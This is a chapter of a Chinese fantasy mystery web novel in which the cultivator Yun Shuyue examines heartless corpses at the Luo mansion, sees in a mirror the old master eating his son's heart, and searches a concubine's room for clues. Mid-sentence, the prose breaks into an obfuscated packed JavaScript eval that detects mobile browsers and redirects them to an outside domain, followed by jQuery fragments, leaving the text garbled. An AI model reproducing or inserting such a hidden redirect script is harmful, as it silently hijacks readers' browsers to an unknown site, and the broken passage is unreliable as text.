25. 昨夜见尸

作品:《铁蛋儿它今天不想当魔尊

    大门吱呀一声,隙开一线,云疏月秉明来意。管家布满血丝的双眼在看清来人后,骤然亮起微光。他见云疏月仙姿清逸,腰间那枚龟甲信物自发流转着温润灵光,当即如见救星,深深一揖:“原来是春玉津来的仙师……仙师快请!”


    朱红府门在身后沉沉合拢,将外界天光彻底隔绝。不待云疏月开口,老管家已是老泪纵横,声音颤抖得不成样子:“仙师!求您救救罗府!七天!整整七天了!府里……府里夜夜都有人横死,那血……院中的青石板都快被染透了,洗都洗不净啊!”


    阴风穿廊而过,带来刺骨寒意。云疏月心下一沉:“莫慌,尸体可曾验过?”


    “验……验过了,”管家以袖掩面,肩头剧烈颤抖,“那死状……绝非人力可为!心口一个血窟窿,心……心都被活生生掏走了!官府的仵作来了两拨,只说是利器所伤,可……可那伤口边缘皮肉翻卷,倒像是……像是被什么东西硬生生撕扯开的!”


    “尸体在何处?”


    “都……都暂厝在祠堂后院……”管家语带哭腔,几乎瘫软在地。


    云疏月请他引路,穿过数重幽深的回廊,空气中弥漫着一种混合了陈旧木料、浓郁香火的气息。正行走间,却见一位身着藕荷色缎面长裙、发髻梳得一丝不苟的女子迎面走来,正是珠玑阁有过一面之缘的爽利大姐。


    “姑娘?竟是你?”大姐见到云疏月,略显诧异,随即看向管家,语气平和却自带威仪,“张管家,这位是……?”


    管家忙躬身回话:“回大小姐,老爷往神庙祈福前吩咐,府中邪祟凶厉,需广邀能人异士。这位仙师是方才揭榜入府的。”


    爽利大姐眉头微蹙:“姨娘不是已在正厅请了神婆作法?父亲此举,是不信姨娘请来的人么?”


    管家脸上挤出几分惶恐:“大小姐言重了,老爷也是忧心府上,多一位高人,便多一分把握,总归是为了一家平安。”


    “原是如此。”爽利大姐不再多言,朝云疏月微微颔首,“姑娘既是父亲请来的,必有真本事。既有缘再见,待我处理完手头琐事,再与姑娘叙话。”


    “罗大小姐慢走。”云疏月猜测到爽利大姐估计为罗府老东家第一任夫人所出,果不其然,罗小姐回了一礼后,便带着丫鬟款款离去。


    云疏月同管家二人行至祠堂院落停尸处,只见六具尸首盖着白布,一字排开在冰冷的青石板上。阴风惨惨,吹得布角微微晃动。云疏月逐一掀开验看,死状果然惨烈,心口处皆是一个空洞,边缘皮肉翻卷,似是外力撕扯留下的痕迹。


    她屏息凝神,施展追魂引咒。片刻后,她脸色凝重地放下白布。


    “魂魄皆已离体,且是被强行抽走的。”她沉声道,“还有一具尸体,在何处?”


    “少爷……停灵在正堂。”管家声音发颤,指向烛火最为幽暗处。


    烛火摇曳,光线昏黄,将人影拉得忽长忽短,浓重的檀香也压不住那股子血腥味。祠堂中央,一具厚重的楠木棺材静静停放着。云疏月走近,只见棺中躺着一具身着华美锦袍的年轻尸身,那心口位置的衣料,早已被一大片暗红发黑、凝结成块的血渍浸透。


    云疏月目光缓缓上移,落在尸体的脸上——


    嗡!!!


    她瞳孔骤缩,那惨白僵硬的五官,分明就是昨夜在街上纠缠不休、活蹦乱跳的王少!


    她指尖瞬间掐出追魂引诀!


    空的!


    这躯壳里,属于王宝的魂魄,亦如院中仆役,消散得无影无踪。一股寒意猛地窜上云疏月的脊背。


    昨夜那个生龙活虎的王少……


    究竟是谁?!


    她强自镇定,环视这压抑的灵堂。牌位林立,蒙尘者众。唯有两个牌位光洁如新:“爱子王宝之位”,以及……“爱妻罗氏烟儿之位”。


    “罗氏烟儿?奇怪,这罗府女主人应已故去多年,况且这罗府老东家对外一向以长情著称,可香火痕迹,竟是新近供奉……”


    云疏月抬眼望去,目光落向梁柱悬挂的已然蒙尘的辟邪铜镜。


    “太阴敕令,虚廓含章;灵辉启扉,鉴通幽黄!入!”


    云疏月神念沉入铜镜,七日前,王少直挺挺地僵卧在祠堂正中央,形如槁木。老东家浑身筛糠一般跪坐在他身侧,他双手颤抖,却紧攥一柄寒光凛冽的短刃,竟生生剜开王少的胸膛,双手探入,捧出一颗犹在微弱搏动的心!镜影晃动间,只见那人低垂着头,将血淋淋的心凑到嘴边,停留片刻后,随即猛烈的撕咬大嚼着,而后便是一阵又一阵的呕吐......


    镜像戛然而止。


    云疏月退出神识,心中疑窦更深。她忍不住向管家求证:“管家,恕我冒昧,贵府王宝少爷……可是孪生兄弟?”


    管家被问得一怔,随即摇头:“仙师何出此言?我家少爷是老爷的独子,并无兄弟。”


    “独子……”云疏月喃喃道,昨夜那活生生的王少和现在棺材里躺着的这具尸首,孰真孰假......


    “不知可否去少爷生前的房间一看?”


    管家面露难色:“这……少爷故去后,夫人悲痛不已,已命人将少爷的院落封了,以免触景生情……仙师,您看这……”


    “无妨,那我一人便在府中随意走走。只是......”


    云疏月肃然道:“管家,贵府阴煞之气盘踞不去,已非寻常邪祟。那邪祟似乎能幻化生人相貌,吸食生魂以固其形。寻常行走,恐惊扰煞气,打草惊蛇。我需施展踏阴步,循煞气脉络独自探查。此法需绝对安静,且生人靠近,易引煞气反噬,于你等有碍。还请告知府中众人,在我归来前,切勿在我行经之路附近走动,尤其忌喧哗。”


    她语气凝重,指尖悄然掐诀,一丝寒气散开,激得老管家浑身一颤,更是信服不疑,连滚爬爬地退下去传令。


    支开管家,云疏月立刻循着王少留下的一丝微弱气息,来到府邸西侧一处较为偏僻的院落。院门虚掩,内里竟别有洞天。


    此处收拾得整洁,窗棂上糊着崭新的霞影纱,桌上摆着紫檀木梳妆匣


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456546|183011||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    与刺绣绷架,空气里弥漫着淡淡的药味。床边小几上,散落着许多做工精巧的婴儿小衣、布老虎。墙角银丝炭盆冷灰未倒,细节之处尽显主人日前生活的优渥。


    这绝非寻常公子居所,更像是一位女子的闺房。


    然而,细看之下,方能察觉异样。桌椅有细微的挪动痕迹,妆匣抽屉未完全合拢,仿佛被人匆忙翻检过。云疏月目光如炬,很快在床榻帷幔的内侧,发现了几道用细小银针固定着的黄符。


    是桃花煞!


    此种符箓早就被仙盟列为禁术,相传为一人种下桃花煞,那人便会忘记前尘旧事,忠贞不二、誓死追随,然百十年来,民间仍是私下流传。只不过这张黄符虽线条勾勒已具其形,但笔法稚拙,尚存细微谬误,因此难以生效。


    云疏月开始更仔细地搜寻,果然,在被褥之下,发现一片已呈暗褐色的、未曾彻底清理的血污痕迹,而且她敏锐地察觉到,床榻之上除了一名女子的气息,竟还有另外两道截然不同的男子气息……


    七天之前,罗府老东家喜得千金,这名女子估计便是孩子的生母,而这床榻之上的这两股气息,一股估计便是罗府老东,可另一股是似是王少?可为何床榻之上会有王少的气息?而且产妇为何生产之后不在此处休息,也不见有人来打扫。


    云疏月正疑惑重重,突然在拔步床内侧一个隐蔽的暗格里,发现了几本被翻得卷了边的《基础符箓图解》、《杂论阵法初窥》,以及一些字迹工整的笔记。笔记上,一些基础的平安符、静心咒画得尚算工整。在书页夹层中,她发现几张被揉皱又抚平的纸笺。


    一张是涂抹修改过后的安胎符,云疏月见到笔触,心中微惊,思忖道:此番修改过后,符咒功效便可相反,此人触类旁通、天赋不俗,只可惜还差些灵力加持,终究功亏一篑。


    另外两张已经被揉的不成样子,墨迹似被水打湿后晕染开来,但仍可看出字迹娟秀却力透纸背,模糊辨认后,是两首绝句:


    「灼灼花如霰,萧萧叶辞枝。


    丹青成孽锁,犹恨识君时。」


    「珠胎结恨海,玉碎委尘埃。


    欲向泉台去,犹闻泣声哀。」


    诗境悲苦,却字字泣血,云疏月强压下心头的翻涌,跪坐起身子,目光投向墙上悬挂的一幅画。


    画中春日桃夭,男女相依,情意绵绵。可是两人的面容,竟被人用浓墨狠狠涂抹,那墨迹凌乱决绝,画旁提着一行小字:“早知如此绊人心,何如当初莫相识。”


    云疏月看着画中男子手持的折扇,联想到王少那副轻浮油腻的模样,一个大胆的猜测浮上心头:


    这幅画之所以能如此堂而皇之的挂在室内,只怕这名女子真实的身份是王少的妾室,她心仪之人乃是王少,可那王少喜新厌旧,这名女子动了用桃花煞挽回情郎的心思,才钻研符咒。而罗府近日又得千金,只怕这罗府老东家和该名女子的关系也并不清白,因此此女才动了落胎的念头。可……既是王少姬妾,为何老东家要对外宣称是自己的女儿呢?